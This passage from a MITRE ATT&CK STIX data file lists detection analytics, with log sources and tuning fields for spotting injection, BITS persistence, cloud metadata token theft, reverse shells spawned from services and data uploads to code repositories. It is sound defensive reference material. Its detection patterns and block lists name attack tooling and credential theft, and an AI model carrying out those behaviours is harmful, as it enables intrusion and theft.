                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "etw:Microsoft-Windows-Win32k",
                    "channel": "SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetWindowClassRegex",
                    "description": "Regex to scope suspicious or uncommon GUI class names registered by user-created processes"
                },
                {
                    "field": "ExecutionTriggerWindowMessage",
                    "description": "API calls like SendNotifyMessage or PostMessage that deliver execution to the shellcode location"
                },
                {
                    "field": "SharedSectionWriteThreshold",
                    "description": "Set byte count thresholds on suspicious memory writes to known shared sections"
                },
                {
                    "field": "TimeWindowSetWindowLongToMessageTrigger",
                    "description": "Define max time (e.g., <10s) between API call to set window memory and the message call to trigger it"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--6ed3efbf-c060-4c7f-8d8b-0e93f65a0790",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0324#AN0920",
                    "external_id": "AN0920"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0920",
            "description": "Detects files or processes where execution results in frequent re-creation or modification of ELF binaries or interpreter scripts, often using chmod + execve with abnormal entropy.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "auditd:SYSCALL",
                    "channel": "mmap"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "chmod"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "WriteExecThreshold",
                    "description": "Tune to alert on write followed by chmod + exec in quick succession."
                },
                {
                    "field": "FileEntropyDeviation",
                    "description": "Detect high deviation from average entropy score of baseline ELF/script files."
                },
                {
                    "field": "ExecutionFrequency",
                    "description": "Abnormal burst executions of file with identical functionality but varying hash."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--6f2fdf37-f603-4264-aed1-24fe2d1aa094",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0323#AN0916",
                    "external_id": "AN0916"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0916",
            "description": "Detection of anomalous driver and firmware interactions, including unsigned or unexpected firmware updates, driver loads linked to hardware components, and suspicious use of privileged APIs to read/write firmware or controller memory.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=6"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd",
                    "name": "firmware:integrity ",
                    "channel": "Firmware integrity verification failures or mismatches against expected UEFI/firmware image baselines"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "KnownGoodFirmwareHashes",
                    "description": "Environment-specific list of baseline firmware images for integrity comparison"
                },
                {
                    "field": "DriverAllowList",
                    "description": "Drivers approved for loading in production environments"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation period between firmware modification attempt and abnormal driver or process behavior"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--6f7fa682-fd50-4de4-add3-cbaa3c127b70",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0852#AN1984",
                    "external_id": "AN1984"
                },
                {
                    "source_name": "Analyzing CS Dec 2020",
                    "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.",
                    "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1984",
            "description": "Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f",
                    "name": "Malware Repository",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--6f8fdb88-56d1-454e-9a35-3b7170011ca2",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0090#AN0248",
                    "external_id": "AN0248"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0248",
            "description": "Detection of file write-access to USB-mount directories (e.g., /media/, /run/media/) followed by same-file access or execution on another host.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "auditd:SYSCALL",
                    "channel": "write/open, FIM audit"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d6e6b3b-4aa8-40e1-8c47-91db0f313d9f",
                    "name": "auditd:SYSCALL",
                    "channel": "Removable media mount notification"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MountPathPattern",
                    "description": "Typical mount paths to monitor (e.g., /media/usb*, /run/media/username/*)."
                },
                {
                    "field": "TimeWindowBetweenHosts",
                    "description": "Tunable detection window to correlate read/write between different hosts within a short interval (e.g., <15m)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--6fba9520-c6ce-4a8f-8005-d33546a10406",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0098#AN0274",
                    "external_id": "AN0274"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0274",
            "description": "Behavioral chain: (1) An actor creates or modifies a BITS job via bitsadmin.exe, PowerShell BITS cmdlets, or COM; (2) the job performs HTTP(S)/SMB network transfers while the owning user is logged on; (3) upon job completion/error, BITS launches a notify command (SetNotifyCmdLine) from svchost.exe -k netsvcs -s BITS, often establishing persistence by keeping long-lived jobs. The strategy correlates process creation, command/script telemetry, BITS-Client operational events, and network connections initiated by BITS.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705",
                    "name": "WinEventLog:System",
                    "channel": "EventCode=7036"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlation window linking job creation, transfer, and notify execution (e.g., 30m\u201324h depending on environment and BITS retry behavior)."
                },
                {
                    "field": "ExpectedUpdateHosts",
                    "description": "Allow-list of corporate update/CDN endpoints that legitimately use BITS (WSUS, MEMCM, vendor updaters)."
                },
                {
                    "field": "SuspiciousCliSwitches",
                    "description": "BITSAdmin flags of interest (/transfer, /addfile, /SetNotifyCmdLine, /resume, /setcustomheaders, /setminretrydelay)."
                },
                {
                    "field": "NotifyCmdBlockList",
                    "description": "Known risky binaries or folders (e.g., %TEMP%\\*.exe, powershell.exe, cmd.exe) used as BITS notify commands."
                },
                {
                    "field": "UserContext",
                    "description": "Scope by interactive users, service accounts, or high-value targets (admins/servers) to reduce benign noise."
                },
                {
                    "field": "ExternalNetCIDRs",
                    "description": "Definition of external/non-corp destinations for network correlation."
                },
                {
                    "field": "JobLifetimeThreshold",
                    "description": "Maximum age or retry count for benign jobs before flagging persistence (e.g., >3 days or retry>20)."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--6feb9746-7b2c-4f6f-92c9-bfdb14eddddc",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0539#AN1487",
                    "external_id": "AN1487"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1487",
            "description": "Detects suspicious OAuth application integrations within Office 365 or Google Workspace environments, such as new app registrations, unexpected consent grants, or privilege assignments. Defenders should correlate between application creation/modification events and associated user or service principal activity to identify persistence via app integrations.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
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                {
                    "field": "TimeWindow",
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                {
                    "field": "ServiceAccountFilter",
                    "description": "Limit detection to non-service accounts to reduce noise"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
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                    "name": "WinEventLog:Sysmon",
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                },
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                },
                {
                    "field": "ServiceNames",
                    "description": "Customizable set of monitored services such as EventLog, Sysmon, or custom loggers."
                }
            ]
        },
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                    "source_name": "ACSC Email Spoofing",
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                {
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                    "name": "Application Log",
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                {
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                    "name": "Network Traffic",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
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            "created": "2025-10-21T15:10:28.402Z",
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0897",
            "description": "Office or scripting applications initiating unusual HTTPS traffic to code repository APIs with high outbound-to-inbound ratios. Defender perspective: monitor for sensitive file access in combination with network connections to github.com, gitlab.com, or bitbucket.org.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "execution of curl, git, or Office processes with network connections"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "macos:unifiedlog",
                    "channel": "read of user document directories"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "macos:unifiedlog",
                    "channel": "outbound HTTPS connections to code repository APIs"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredApplications",
                    "description": "Applications not expected to upload large data sets to repos (Word, Excel, Preview)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0186#AN0532",
                    "external_id": "AN0532"
                }
            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0532",
            "description": "Repeated or automated access to user document directories or clipboard using shell scripts or utilities like xclip/pbpaste. Detectable via auditd syscall logs or osquery file events.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "open"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AccessPath",
                    "description": "Tunable location for sensitive files like /home/*/Documents."
                },
                {
                    "field": "ScriptInterpreterList",
                    "description": "Shells or scripting engines to monitor (e.g., bash, python, perl)."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0333#AN0944",
                    "external_id": "AN0944"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0944",
            "description": "Detects usage of `at` command to schedule jobs, followed by job execution and modification of job files under /var/spool/cron/atjobs.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "write"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AtJobPath",
                    "description": "Monitoring additional paths (e.g., tmp-mounted spool dirs) for modified at jobs."
                },
                {
                    "field": "ScheduleLatency",
                    "description": "Expected delay between at job creation and execution."
                },
                {
                    "field": "JobScriptEntropy",
                    "description": "High entropy or obfuscation in at job payloads."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--70e3066e-6ba3-444b-8e88-dfc3575f2706",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0118#AN0328",
                    "external_id": "AN0328"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0328",
            "description": "Links inbound network access to SSHD/SMB/NFS/Databases or custom daemons with subsequent daemon crash/restart, core dump, or spawning of shells/reverse shells from the service context, indicating remote exploitation.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "linux:syslog",
                    "channel": "kernel|systemd messages indicating 'segmentation fault'|'core dumped'|'service terminated unexpectedly' for sshd, smbd, vsftpd, mysqld, httpd, etc."
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity."
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host."
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ServiceNames",
                    "description": "Linux daemons to watch (sshd, smbd, nfsd, httpd/nginx, mysqld, postgres, redis)."
                },
                {
                    "field": "CoreDumpPaths",
                    "description": "Paths indicating crash artifacts (/var/crash, /var/lib/systemd/coredump)."
                },
                {
                    "field": "ShellSpawnAllowlist",
                    "description": "Paths/users allowed to spawn shells from services (default: empty)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window (default 10m)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--70f6482e-e93b-45a5-9b8c-ba7fd0c8220a",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0515#AN1424",
                    "external_id": "AN1424"
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            ],
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            ],
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            "name": "Analytic 1424",
            "description": "Token retrieval from instance metadata endpoints such as AWS IMDS or Azure IMDS, followed by API usage using the obtained token from non-standard applications.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac",
                    "name": "AWS:CloudTrail",
                    "channel": "GetInstanceIdentityDocument or IMDSv2 token requests"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e",
                    "name": "AWS:CloudTrail",
                    "channel": "Use of temporary credentials issued from IMDS access"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "UserAgent",
                    "description": "May need tuning for known automation tools versus unexpected curl usage"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate retrieval and use of token within expected timeout window"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--7101cd68-f6a2-4b7e-b19d-5d27b4c3b44c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0819#AN1951",
                    "external_id": "AN1951"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1951",
            "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--710aa303-3e9f-4170-95a4-b2caf5f827fd",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0576#AN1591",
                    "external_id": "AN1591"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1591",
            "description": "Creation of email forwarding/redirect rules in Exchange Online via New-InboxRule or transport rule cmdlets, including auto-forwarding address field usage.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f",
                    "name": "m365:unified",
                    "channel": "New-InboxRule, Set-InboxRule"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:messagetrace",
                    "channel": "X-MS-Exchange-Organization-AutoForwarded"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ForwardingSMTPAddress",
                    "description": "Destination domain may vary; commonly tuned per org policies."
                },
                {
                    "field": "ActorId",
                    "description": "Differentiate service/admin users vs standard user population."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--72033f2d-a943-40be-862c-051317ec541c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0163#AN0465",
                    "external_id": "AN0465"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0465",
            "description": "Defenders may observe unauthorized or anomalous changes to NAT configurations, including the addition of new translation rules or modifications to existing ones. Suspicious behaviors include sudden introduction of NAT mappings bridging segmented networks, new port address translation rules that obscure true source IPs, or traffic flows inconsistent with expected network design. Multi-event correlation includes detecting configuration changes on routers/firewalls, followed by traffic traversing unexpected internal/external address pairs.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "networkdevice:config",
                    "channel": "NAT table modification (add/update/delete rule)"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "Source/destination IP translation inconsistent with intended policy"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Time correlation window between NAT rule change and unexpected traffic; adjustable to align with change management practices."
                },
                {
                    "field": "AuthorizedNATRules",
                    "description": "Whitelist of approved NAT policies and rules; prevents false positives from legitimate operations."
                },
                {
                    "field": "TrafficVolumeThreshold",
                    "description": "Threshold for abnormal traffic across NAT; tuned to differentiate testing from large-scale exfiltration or bridging."
                },
                {
                    "field": "InterfaceScope",
                    "description": "Specific interfaces or zones monitored for NAT translation; allows tuning for internal vs. external-facing boundaries."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--72298803-0644-477f-be89-01b173202577",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0080#AN0225",
                    "external_id": "AN0225"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0225",
            "description": "Adversary exploits public admin services on routers/firewalls/switches. Chain: anomalous HTTP/SNMP/SmartInstall inputs \u2192 device syslog errors/restarts \u2192 config changes/CLI spawn \u2192 egress to attacker C2.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "networkdevice:controlplane",
                    "channel": "Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "NetFlow/sFlow for odd egress to Internet from mgmt plane"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MgmtPorts",
                    "description": "List of admin services to watch (8443, 443, 161/udp, 4786, 22)."
                },
                {
                    "field": "TrustedAdmins",
                    "description": "Admin source ranges to allow."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--72540cd1-3ba6-4a4a-8866-a3113094196a",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0439#AN1218",
                    "external_id": "AN1218"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1218",
            "description": "Detects movement of binaries to `~/Library/`, `/System/`, or app bundle locations, especially after initial execution or download from Safari or Mail.",
